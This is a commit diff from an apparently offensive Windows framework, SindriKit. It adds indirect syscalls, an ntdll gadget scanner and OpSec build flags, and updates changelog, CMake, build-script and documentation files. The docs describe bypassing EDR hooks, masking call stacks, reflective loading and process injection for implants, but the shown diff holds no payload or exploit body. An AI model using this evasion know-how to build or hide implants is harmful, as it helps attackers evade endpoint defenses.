mirror of
https://github.com/youssefnoob003/SindriKit
synced 2026-07-07 21:57:09 +00:00
Release v1.2.0: Indirect Syscalls & Pipeline Decoupling
- Implemented fully decoupled direct and indirect syscall invocation - Added dynamic PEB-based gadget scanning (syscall; ret / sysenter) - Added x86 & x64 inline MASM stubs with proper stack frame alignment - Introduced SND_USE_DEFAULTS compile-time OpSec macro for lean payload compilation - Extensive documentation across all primitives and examples
This commit is contained in:
@@ -6,6 +6,22 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## [1.2.0] - 2026-06-29
|
||||||
|
|
||||||
|
Third major release. The framework introduces indirect syscalls and significantly improves the execution pipeline's flexibility and operator experience.
|
||||||
|
|
||||||
|
### Major Additions
|
||||||
|
- **Indirect Syscalls**: Architecture updated to decouple SSN resolution from invocation. Supports switching between direct and indirect syscall invocation dynamically.
|
||||||
|
- **Gadget Finder (`snd_syscall_find_gadget_scan`)**: Dynamically locates the `syscall; ret` (x64) or OS-transition instructions (x86) from the natively loaded `ntdll.dll` in the PEB to properly masquerade the call stack.
|
||||||
|
- **x86/x64 Support**: Full indirect syscall assembly stubs for both architectures (`invoke_indirect_x64.asm`, `invoke_indirect_x86.asm`), including proper stack frame alignment and teardown.
|
||||||
|
|
||||||
|
### Architecture & Refactoring
|
||||||
|
- **Compile-Time Defaults (`SND_USE_DEFAULTS`)**: Added a CMake flag to pre-configure the pipeline's globals (invoker, gadget finder, and primary resolver). Implemented as a macro for OpSec to prevent linking unused scanner/ASM dependencies when disabled.
|
||||||
|
- **Pipeline Overhaul**: Replaced `snd_syscall_strategy_set` terminology with `snd_syscall_set_resolver` and added `snd_syscall_set_invoker` / `snd_syscall_set_gadget_finder` to manage the decoupled execution flow.
|
||||||
|
- **Documentation**: Extensive documentation overhaul across all primitives, examples, PoCs, and architecture files to reflect the new pipeline structure and OpSec considerations.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## [1.1.0] - 2026-06-26
|
## [1.1.0] - 2026-06-26
|
||||||
|
|
||||||
Second major release. The framework grows from a reflective-loader-centric engine into a multi-domain toolkit with expanded primitives, reorganized headers, and comprehensive documentation.
|
Second major release. The framework grows from a reflective-loader-centric engine into a multi-domain toolkit with expanded primitives, reorganized headers, and comprehensive documentation.
|
||||||
|
|||||||
+8
-2
@@ -8,6 +8,7 @@ option(SND_BUILD_PAYLOADS "Build bundled PoC loaders" OFF)
|
|||||||
option(SND_BUILD_TESTS "Build test binaries (DLLs and EXEs)" OFF)
|
option(SND_BUILD_TESTS "Build test binaries (DLLs and EXEs)" OFF)
|
||||||
option(SND_CRTLESS "Build the framework for pure CRT-less operation" OFF)
|
option(SND_CRTLESS "Build the framework for pure CRT-less operation" OFF)
|
||||||
option(SND_RANDOMIZE_SEED "Use randomized seed for compile-time hashes" OFF)
|
option(SND_RANDOMIZE_SEED "Use randomized seed for compile-time hashes" OFF)
|
||||||
|
option(SND_USE_DEFAULTS "Use sensible defaults for configuration globals" OFF)
|
||||||
|
|
||||||
# --- Configuration Guards ---
|
# --- Configuration Guards ---
|
||||||
if(SND_CRTLESS)
|
if(SND_CRTLESS)
|
||||||
@@ -29,11 +30,11 @@ endif()
|
|||||||
|
|
||||||
# --- Architecture-specific assembly ---
|
# --- Architecture-specific assembly ---
|
||||||
if(CMAKE_SIZEOF_VOID_P EQUAL 8)
|
if(CMAKE_SIZEOF_VOID_P EQUAL 8)
|
||||||
set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_x64.asm)
|
set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_direct_x64.asm src/primitives/execution/syscalls/asm/invoke_indirect_x64.asm)
|
||||||
set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x64.asm)
|
set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x64.asm)
|
||||||
set(HEAVENSGATE_ASM "")
|
set(HEAVENSGATE_ASM "")
|
||||||
else()
|
else()
|
||||||
set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_x86.asm)
|
set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_direct_x86.asm src/primitives/execution/syscalls/asm/invoke_indirect_x86.asm)
|
||||||
set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x86.asm)
|
set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x86.asm)
|
||||||
set(HEAVENSGATE_ASM src/primitives/execution/heavens_gate/asm/heavens_gate_x86.asm)
|
set(HEAVENSGATE_ASM src/primitives/execution/heavens_gate/asm/heavens_gate_x86.asm)
|
||||||
endif()
|
endif()
|
||||||
@@ -110,6 +111,7 @@ add_library(sindri_engine STATIC
|
|||||||
src/primitives/execution/syscalls/syscalls.c
|
src/primitives/execution/syscalls/syscalls.c
|
||||||
src/primitives/execution/syscalls/syscalls_scan.c
|
src/primitives/execution/syscalls/syscalls_scan.c
|
||||||
src/primitives/execution/syscalls/syscalls_sort.c
|
src/primitives/execution/syscalls/syscalls_sort.c
|
||||||
|
src/primitives/execution/syscalls/gadget_scan.c
|
||||||
|
|
||||||
# Assembly & generated
|
# Assembly & generated
|
||||||
${SYSCALL_ASM}
|
${SYSCALL_ASM}
|
||||||
@@ -157,6 +159,10 @@ target_compile_definitions(sindri_engine PUBLIC
|
|||||||
SND_HASH_${SND_HASH_ALGO}=1
|
SND_HASH_${SND_HASH_ALGO}=1
|
||||||
)
|
)
|
||||||
|
|
||||||
|
if(SND_USE_DEFAULTS)
|
||||||
|
target_compile_definitions(sindri_engine PUBLIC SND_USE_DEFAULTS=1)
|
||||||
|
endif()
|
||||||
|
|
||||||
# --- Compiler warnings ---
|
# --- Compiler warnings ---
|
||||||
if(MSVC)
|
if(MSVC)
|
||||||
target_compile_options(sindri_engine PRIVATE
|
target_compile_options(sindri_engine PRIVATE
|
||||||
|
|||||||
@@ -105,10 +105,16 @@ SindriKit treats syscall resolution as an injectable mechanic, stacking strategi
|
|||||||
|
|
||||||
```c
|
```c
|
||||||
snd_syscall_set_ntdll(clean_ntdll);
|
snd_syscall_set_ntdll(clean_ntdll);
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
|
||||||
|
// or for indirect syscalls:
|
||||||
|
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
||||||
|
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
```
|
```
|
||||||
|
|
||||||
|
The invoker is decoupled from SSN resolution — switch between direct and indirect syscalls without modifying domain code. Indirect invocation jumps to a legitimate NTDLL gadget, keeping the syscall return address within `ntdll.dll`.
|
||||||
|
|
||||||
### Compile-Time Algorithm Agility
|
### Compile-Time Algorithm Agility
|
||||||
|
|
||||||
Every API name and module string is removed from the final binary at compile time via a single CMake variable:
|
Every API name and module string is removed from the final binary at compile time via a single CMake variable:
|
||||||
@@ -147,10 +153,16 @@ Bootstrap the syscall pipeline once (typical pattern):
|
|||||||
PVOID clean_ntdll = NULL;
|
PVOID clean_ntdll = NULL;
|
||||||
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
|
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
|
||||||
snd_syscall_set_ntdll(clean_ntdll);
|
snd_syscall_set_ntdll(clean_ntdll);
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
|
||||||
|
// or for indirect syscalls:
|
||||||
|
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
||||||
|
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
```
|
```
|
||||||
|
|
||||||
|
The invoker is decoupled from SSN resolution — switch between direct and indirect syscalls without modifying domain code. Indirect invocation jumps to a legitimate NTDLL gadget, keeping the syscall return address within `ntdll.dll`.
|
||||||
|
|
||||||
Swap execution profile with one assignment:
|
Swap execution profile with one assignment:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
@@ -177,6 +189,7 @@ The standard deployment configuration for operational binaries. Every diagnostic
|
|||||||
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
|
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
|
||||||
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
|
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
|
||||||
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
|
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
|
||||||
|
set(SND_USE_DEFAULTS ON CACHE BOOL "")
|
||||||
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
|
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
|
||||||
add_subdirectory(vendor/SindriKit)
|
add_subdirectory(vendor/SindriKit)
|
||||||
target_link_libraries(my_tool PRIVATE sindri::engine)
|
target_link_libraries(my_tool PRIVATE sindri::engine)
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
@echo off
|
@echo off
|
||||||
setlocal
|
setlocal
|
||||||
|
|
||||||
set CMAKE_FLAGS=-DSND_ENABLE_DEBUG=OFF
|
set CMAKE_FLAGS=-DSND_ENABLE_DEBUG=OFF -DSND_USE_PRINTF=OFF -DSND_BUILD_TESTS=OFF -DSND_BUILD_PAYLOADS=OFF -DSND_CRTLESS=OFF -DSND_RANDOMIZE_SEED=OFF -DSND_USE_DEFAULTS=OFF
|
||||||
set BUILD_TIER=SILENT
|
set BUILD_TIER=SILENT
|
||||||
set BUILD_OUTPUT=DEBUGGER
|
set BUILD_OUTPUT=DEBUGGER
|
||||||
set HASH_ALGO=DJB2
|
set HASH_ALGO=DJB2
|
||||||
@@ -10,6 +10,7 @@ set BUILD_POCS=OFF
|
|||||||
set BUILD_CRTLESS=OFF
|
set BUILD_CRTLESS=OFF
|
||||||
set CLEAN_BUILD=OFF
|
set CLEAN_BUILD=OFF
|
||||||
set RANDOMIZE=OFF
|
set RANDOMIZE=OFF
|
||||||
|
set USE_DEFAULTS=OFF
|
||||||
|
|
||||||
:parse_args
|
:parse_args
|
||||||
if "%~1"=="" goto :done_args
|
if "%~1"=="" goto :done_args
|
||||||
@@ -42,10 +43,13 @@ if /I "%~1"=="debug" (
|
|||||||
) else if /I "%~1"=="random" (
|
) else if /I "%~1"=="random" (
|
||||||
set CMAKE_FLAGS=%CMAKE_FLAGS% -DSND_RANDOMIZE_SEED=ON
|
set CMAKE_FLAGS=%CMAKE_FLAGS% -DSND_RANDOMIZE_SEED=ON
|
||||||
set RANDOMIZE=ON
|
set RANDOMIZE=ON
|
||||||
|
) else if /I "%~1"=="defaults" (
|
||||||
|
set CMAKE_FLAGS=%CMAKE_FLAGS% -DSND_USE_DEFAULTS=ON
|
||||||
|
set USE_DEFAULTS=ON
|
||||||
) else (
|
) else (
|
||||||
echo [!] Unknown argument: %~1
|
echo [!] Unknown argument: %~1
|
||||||
echo.
|
echo.
|
||||||
echo Usage: build.bat [debug] [console] [djb2^|fnv1a] [tests] [pocs] [crtless] [clean] [random]
|
echo Usage: build.bat [debug] [console] [djb2^|fnv1a] [tests] [pocs] [crtless] [clean] [random] [defaults]
|
||||||
echo.
|
echo.
|
||||||
echo debug Enable debug prints ^(default: silent^)
|
echo debug Enable debug prints ^(default: silent^)
|
||||||
echo console Use printf output ^(default: OutputDebugString^)
|
echo console Use printf output ^(default: OutputDebugString^)
|
||||||
@@ -56,6 +60,7 @@ if /I "%~1"=="debug" (
|
|||||||
echo crtless Build CRT-less
|
echo crtless Build CRT-less
|
||||||
echo clean Delete build dirs before compiling
|
echo clean Delete build dirs before compiling
|
||||||
echo random Use randomized seed for compile-time hashes
|
echo random Use randomized seed for compile-time hashes
|
||||||
|
echo defaults Use sensible defaults for configuration globals
|
||||||
exit /b 1
|
exit /b 1
|
||||||
)
|
)
|
||||||
shift
|
shift
|
||||||
@@ -72,6 +77,7 @@ echo [*] Tests : %BUILD_TESTS%
|
|||||||
echo [*] PoCs : %BUILD_POCS%
|
echo [*] PoCs : %BUILD_POCS%
|
||||||
echo [*] CRTless : %BUILD_CRTLESS%
|
echo [*] CRTless : %BUILD_CRTLESS%
|
||||||
echo [*] Random : %RANDOMIZE%
|
echo [*] Random : %RANDOMIZE%
|
||||||
|
echo [*] Defaults: %USE_DEFAULTS%
|
||||||
echo.
|
echo.
|
||||||
|
|
||||||
if "%CLEAN_BUILD%"=="ON" (
|
if "%CLEAN_BUILD%"=="ON" (
|
||||||
|
|||||||
@@ -76,7 +76,7 @@ There is **no** `snd_mod_sys`. Import resolution during reflective load uses PEB
|
|||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `_win` | Documented Win32 APIs | memory, modules, mapping, process |
|
| `_win` | Documented Win32 APIs | memory, modules, mapping, process |
|
||||||
| `_nt` | NT function pointers resolved via PEB walk + EAT parse | memory, modules, mapping, process |
|
| `_nt` | NT function pointers resolved via PEB walk + EAT parse | memory, modules, mapping, process |
|
||||||
| `_sys` | Direct syscalls (`snd_syscall_invoke_asm`) | memory, mapping, process — **not** modules |
|
| `_sys` | Direct or indirect syscalls (configurable invoker) | memory, mapping, process — **not** modules |
|
||||||
|
|
||||||
### OpSec profile examples
|
### OpSec profile examples
|
||||||
|
|
||||||
@@ -99,8 +99,13 @@ PVOID ntdll = NULL;
|
|||||||
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll); // or disk / PEB
|
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll); // or disk / PEB
|
||||||
|
|
||||||
snd_syscall_set_ntdll(ntdll);
|
snd_syscall_set_ntdll(ntdll);
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
|
||||||
|
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
|
||||||
|
// or for indirect syscalls:
|
||||||
|
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
||||||
|
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
```
|
```
|
||||||
|
|
||||||
This is **global execution state**, not part of any DI table. Implant init code runs it once; all `_sys` tables benefit.
|
This is **global execution state**, not part of any DI table. Implant init code runs it once; all `_sys` tables benefit.
|
||||||
|
|||||||
@@ -47,8 +47,13 @@ static snd_status_t bootstrap_engine(void) {
|
|||||||
return status;
|
return status;
|
||||||
|
|
||||||
snd_syscall_set_ntdll(ntdll);
|
snd_syscall_set_ntdll(ntdll);
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
|
||||||
|
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
|
||||||
|
// or for indirect syscalls:
|
||||||
|
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
||||||
|
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
|
|
||||||
return SND_OK;
|
return SND_OK;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -10,19 +10,19 @@ The former monolithic `helpers.h` and `nt_defs.h` were split for clarity:
|
|||||||
|
|
||||||
```
|
```
|
||||||
include/sindri/common/
|
include/sindri/common/
|
||||||
├── macros.h ← compiler / linkage macros (was part of helpers)
|
├── macros.h <- compiler / linkage macros (was part of helpers)
|
||||||
├── memory.h ← bounds + memzero/memcpy + SND_PTR_ADD
|
├── memory.h <- bounds + memzero/memcpy + SND_PTR_ADD
|
||||||
├── string.h ← ASCII + wide string helpers (new wide APIs)
|
├── string.h <- ASCII + wide string helpers (new wide APIs)
|
||||||
├── buffer.h ← tracked buffers
|
├── buffer.h <- tracked buffers
|
||||||
├── hash.h
|
├── hash.h
|
||||||
├── status.h
|
├── status.h
|
||||||
├── debug.h ← debug macros (was mixed into helpers)
|
├── debug.h <- debug macros (was mixed into helpers)
|
||||||
└── disk.h
|
└── disk.h
|
||||||
|
|
||||||
include/sindri/internal/nt/ ← was sindri/internal/nt_defs.h
|
include/sindri/internal/nt/ <- was sindri/internal/nt_defs.h
|
||||||
├── types.h ← NT structs, SND_PAGE_SIZE, unicode init
|
├── types.h <- NT structs, SND_PAGE_SIZE, unicode init
|
||||||
├── api.h ← Nt* typedefs
|
├── api.h <- Nt* typedefs
|
||||||
└── peb.h ← PEB / LDR layouts
|
└── peb.h <- PEB / LDR layouts
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|||||||
@@ -10,10 +10,10 @@ Each technique adds engine functions and chains under a subdirectory but mutates
|
|||||||
|
|
||||||
```
|
```
|
||||||
include/sindri/injection/
|
include/sindri/injection/
|
||||||
├── context.h ← shared across ALL techniques
|
├── context.h <- shared across ALL techniques
|
||||||
└── classic/
|
└── classic/
|
||||||
├── engine.h ← per-stage classic engine
|
├── engine.h <- per-stage classic engine
|
||||||
└── chain.h ← snd_inj_classic_shell, snd_inj_classic_pe
|
└── chain.h <- snd_inj_classic_shell, snd_inj_classic_pe
|
||||||
```
|
```
|
||||||
|
|
||||||
Loader contexts are **per-technique** (`snd_ldr_pe_ctx_t` today).
|
Loader contexts are **per-technique** (`snd_ldr_pe_ctx_t` today).
|
||||||
|
|||||||
@@ -100,7 +100,7 @@ The PE chain deliberately interleaves loader and injection stages so relocations
|
|||||||
| 1 | Loader | `snd_pe_parse(ldr_ctx->raw_source, FALSE, &ldr_ctx->pe)` → `SND_STAGE_PARSED` |
|
| 1 | Loader | `snd_pe_parse(ldr_ctx->raw_source, FALSE, &ldr_ctx->pe)` → `SND_STAGE_PARSED` |
|
||||||
| 2 | Loader | `snd_ldr_pe_compatibility_check` |
|
| 2 | Loader | `snd_ldr_pe_compatibility_check` |
|
||||||
| 3 | Loader | `snd_ldr_pe_allocate_and_copy_image` — local RW mapping |
|
| 3 | Loader | `snd_ldr_pe_allocate_and_copy_image` — local RW mapping |
|
||||||
| 4 | Injection | `inj_ctx->payload` ← local mapped buffer (`local_base`, `allocated_size`) |
|
| 4 | Injection | `inj_ctx->payload` <- local mapped buffer (`local_base`, `allocated_size`) |
|
||||||
| 5 | Injection | `snd_inj_classic_open_target` |
|
| 5 | Injection | `snd_inj_classic_open_target` |
|
||||||
| 6 | Injection | `snd_inj_classic_alloc_remote` — remote RW region sized to `allocated_size` |
|
| 6 | Injection | `snd_inj_classic_alloc_remote` — remote RW region sized to `allocated_size` |
|
||||||
| 7 | Loader | `ldr_ctx->target.execution_base = inj_ctx->remote_base` |
|
| 7 | Loader | `ldr_ctx->target.execution_base = inj_ctx->remote_base` |
|
||||||
|
|||||||
@@ -57,8 +57,8 @@ Loaders and injection PoCs use KnownDlls to bootstrap clean `ntdll` for syscall
|
|||||||
|
|
||||||
```
|
```
|
||||||
include/sindri/loaders/
|
include/sindri/loaders/
|
||||||
├── reflective/ ← implemented (snd_ldr_pe_ctx_t)
|
├── reflective/ <- implemented (snd_ldr_pe_ctx_t)
|
||||||
└── <technique>/ ← future, technique-specific context + engine + chain
|
└── <technique>/ <- future, technique-specific context + engine + chain
|
||||||
```
|
```
|
||||||
|
|
||||||
Each technique owns its context struct, stage enum, engine functions, and chain orchestrator.
|
Each technique owns its context struct, stage enum, engine functions, and chain orchestrator.
|
||||||
|
|||||||
@@ -169,8 +169,12 @@ Typical sequence before `snd_mem_sys` / `snd_proc_sys`:
|
|||||||
PVOID clean_ntdll = NULL;
|
PVOID clean_ntdll = NULL;
|
||||||
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
|
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
|
||||||
snd_syscall_set_ntdll(clean_ntdll);
|
snd_syscall_set_ntdll(clean_ntdll);
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
|
||||||
|
// or for indirect syscalls:
|
||||||
|
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
||||||
|
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ Foundation layer for SindriKit. Loaders, injection, and future domains rely on i
|
|||||||
| [modules/](modules/) | `snd_mod_win`, `snd_mod_nt` (no `_sys`) |
|
| [modules/](modules/) | `snd_mod_win`, `snd_mod_nt` (no `_sys`) |
|
||||||
| [mapping/](mapping/) | `snd_map_win`, `snd_map_nt`, `snd_map_sys`, KnownDlls |
|
| [mapping/](mapping/) | `snd_map_win`, `snd_map_nt`, `snd_map_sys`, KnownDlls |
|
||||||
| [process/](process/) | `snd_proc_win`, `snd_proc_nt`, `snd_proc_sys` |
|
| [process/](process/) | `snd_proc_win`, `snd_proc_nt`, `snd_proc_sys` |
|
||||||
| [syscalls/](syscalls/) | SSN resolution pipeline, `snd_syscall_invoke_asm` |
|
| [syscalls/](syscalls/) | SSN resolution pipeline, configurable invoker (direct / indirect) |
|
||||||
| [execution/](execution/) | FFI (`snd_ffi_execute`), Heaven's Gate |
|
| [execution/](execution/) | FFI (`snd_ffi_execute`), Heaven's Gate |
|
||||||
|
|
||||||
Contract definitions: `include/sindri/primitives/os_api.h`
|
Contract definitions: `include/sindri/primitives/os_api.h`
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ Low-level mechanisms for **calling unknown function signatures**, **crossing WoW
|
|||||||
|---|---|
|
|---|---|
|
||||||
| `sindri/primitives/ffi.h` | `snd_ffi_execute` — dynamic call bridge for resolved exports |
|
| `sindri/primitives/ffi.h` | `snd_ffi_execute` — dynamic call bridge for resolved exports |
|
||||||
| `sindri/primitives/heavens_gate.h` | `snd_is_wow64`, `snd_hg_execute_64` — WoW64 → native x64 |
|
| `sindri/primitives/heavens_gate.h` | `snd_is_wow64`, `snd_hg_execute_64` — WoW64 → native x64 |
|
||||||
| `sindri/primitives/syscalls.h` | SSN resolution pipeline + `snd_syscall_invoke_asm` (documented under [syscalls/](../syscalls/)) |
|
| `sindri/primitives/syscalls.h` | SSN resolution pipeline + `snd_syscall_direct_invoke_asm` / `snd_syscall_indirect_invoke_asm` (documented under [syscalls/](../syscalls/)) |
|
||||||
|
|
||||||
All three are pulled in by `include/sindri/primitives.h` and `include/sindri.h`.
|
All three are pulled in by `include/sindri/primitives.h` and `include/sindri.h`.
|
||||||
|
|
||||||
@@ -19,21 +19,24 @@ Implementation lives under `src/primitives/execution/`:
|
|||||||
```
|
```
|
||||||
src/primitives/execution/
|
src/primitives/execution/
|
||||||
├── ffi/
|
├── ffi/
|
||||||
│ ├── ffi_invoke.c ← snd_ffi_execute validation + dispatch
|
│ ├── ffi_invoke.c <- snd_ffi_execute validation + dispatch
|
||||||
│ └── asm/
|
│ └── asm/
|
||||||
│ ├── ffi_x64.asm ← snd_ffi_bridge_x64
|
│ ├── ffi_x64.asm <- snd_ffi_bridge_x64
|
||||||
│ └── ffi_x86.asm ← snd_ffi_bridge_x86
|
│ └── ffi_x86.asm <- snd_ffi_bridge_x86
|
||||||
├── heavens_gate/
|
├── heavens_gate/
|
||||||
│ ├── heavens_gate.c ← WoW64 detection + argument padding
|
│ ├── heavens_gate.c <- WoW64 detection + argument padding
|
||||||
│ └── asm/
|
│ └── asm/
|
||||||
│ └── heavens_gate_x86.asm ← snd_hg_invoke_x86 (CS 0x33 transition)
|
│ └── heavens_gate_x86.asm <- snd_hg_invoke_x86 (CS 0x33 transition)
|
||||||
└── syscalls/
|
└── syscalls/
|
||||||
├── syscalls.c ← strategy chain, snd_syscall_resolve
|
├── syscalls.c <- strategy chain, snd_syscall_resolve
|
||||||
├── syscalls_scan.c ← snd_syscall_resolve_ssn_scan
|
├── syscalls_scan.c <- snd_syscall_resolve_ssn_scan
|
||||||
├── syscalls_sort.c ← snd_syscall_resolve_ssn_sort
|
├── syscalls_sort.c <- snd_syscall_resolve_ssn_sort
|
||||||
|
├── gadget_scan.c <- snd_syscall_find_gadget_scan
|
||||||
└── asm/
|
└── asm/
|
||||||
├── invoke_x64.asm ← snd_syscall_invoke_asm (x64)
|
├── invoke_direct_x64.asm <- snd_syscall_direct_invoke_asm (x64)
|
||||||
└── invoke_x86.asm ← snd_syscall_invoke_asm (x86)
|
├── invoke_direct_x86.asm <- snd_syscall_direct_invoke_asm (x86)
|
||||||
|
├── invoke_indirect_x64.asm <- snd_syscall_indirect_invoke_asm (x64)
|
||||||
|
└── invoke_indirect_x86.asm <- snd_syscall_indirect_invoke_asm (x86)
|
||||||
```
|
```
|
||||||
|
|
||||||
Syscall resolution and invocation are documented in the dedicated [syscalls](../syscalls/) subtree; this directory focuses on FFI and Heaven's Gate.
|
Syscall resolution and invocation are documented in the dedicated [syscalls](../syscalls/) subtree; this directory focuses on FFI and Heaven's Gate.
|
||||||
@@ -56,6 +59,6 @@ DllMain, TLS, and EXE entry use **typed direct calls** inside `snd_ldr_pe_execut
|
|||||||
|
|
||||||
## Related documentation
|
## Related documentation
|
||||||
|
|
||||||
- [Syscalls domain](../syscalls/README.md) — SSN engines, bootstrap, `snd_syscall_invoke_asm`
|
- [Syscalls domain](../syscalls/README.md) — SSN engines, bootstrap, `snd_syscall_direct_invoke_asm` / `snd_syscall_indirect_invoke_asm`
|
||||||
- [Loaders: DLL export FFI](../../loaders/techniques.md)
|
- [Loaders: DLL export FFI](../../loaders/techniques.md)
|
||||||
- [PoC: heavens_gate](../../../examples/heavens_gate.md)
|
- [PoC: heavens_gate](../../../examples/heavens_gate.md)
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
Public headers: `include/sindri/primitives/ffi.h`, `include/sindri/primitives/heavens_gate.h`.
|
Public headers: `include/sindri/primitives/ffi.h`, `include/sindri/primitives/heavens_gate.h`.
|
||||||
|
|
||||||
For the syscall surface (`snd_syscall_resolve`, `snd_syscall_invoke_asm`, strategy pipeline), see [syscalls/api_reference.md](../syscalls/api_reference.md).
|
For the syscall surface (`snd_syscall_resolve`, `snd_syscall_direct_invoke_asm`, `snd_syscall_indirect_invoke_asm`, strategy pipeline), see [syscalls/api_reference.md](../syscalls/api_reference.md).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -93,6 +93,7 @@ snd_status_t snd_hg_execute_64(
|
|||||||
| `snd_ffi_bridge_x64` | `ffi/asm/ffi_x64.asm` | x64 fast-call + shadow space |
|
| `snd_ffi_bridge_x64` | `ffi/asm/ffi_x64.asm` | x64 fast-call + shadow space |
|
||||||
| `snd_ffi_bridge_x86` | `ffi/asm/ffi_x86.asm` | Reverse-order stack push, ESP restore |
|
| `snd_ffi_bridge_x86` | `ffi/asm/ffi_x86.asm` | Reverse-order stack push, ESP restore |
|
||||||
| `snd_hg_invoke_x86` | `heavens_gate/asm/heavens_gate_x86.asm` | Far return to CS `0x33`, x64 call |
|
| `snd_hg_invoke_x86` | `heavens_gate/asm/heavens_gate_x86.asm` | Far return to CS `0x33`, x64 call |
|
||||||
| `snd_syscall_invoke_asm` | `syscalls/asm/invoke_x64.asm` or `invoke_x86.asm` (arch-selected) | Direct `syscall` instruction stub |
|
| `snd_syscall_direct_invoke_asm` | `syscalls/asm/invoke_direct_x64.asm` or `invoke_direct_x86.asm` | Direct `syscall` / `sysenter` instruction stub |
|
||||||
|
| `snd_syscall_indirect_invoke_asm` | `syscalls/asm/invoke_indirect_x64.asm` or `invoke_indirect_x86.asm` | Indirect syscall via NTDLL gadget |
|
||||||
|
|
||||||
These are linked into `sindri::engine`; callers use the C wrappers above.
|
These are linked into `sindri::engine`; callers use the C wrappers above.
|
||||||
|
|||||||
@@ -41,7 +41,7 @@ The `snd_map_sys` implementation invokes `NtOpenSection`, `NtMapViewOfSection`,
|
|||||||
Direct syscalls bypass userland EDR hooks placed inside `ntdll.dll` stubs. This is the preferred backend for stealth KnownDlls mapping once the syscall pipeline is bootstrapped.
|
Direct syscalls bypass userland EDR hooks placed inside `ntdll.dll` stubs. This is the preferred backend for stealth KnownDlls mapping once the syscall pipeline is bootstrapped.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> `snd_map_sys` requires the operator to configure the syscall pipeline (`snd_syscall_set_ntdll`, `snd_syscall_strategy_set`, `snd_syscall_strategy_add`) before invocation. Unconfigured pipelines cause immediate resolution failures.
|
> `snd_map_sys` requires the operator to configure the syscall pipeline (`snd_syscall_set_ntdll`, `snd_syscall_set_resolver`, `snd_syscall_set_invoker`) before invocation. Unconfigured pipelines cause immediate resolution failures.
|
||||||
|
|
||||||
## KnownDlls Bootstrapping
|
## KnownDlls Bootstrapping
|
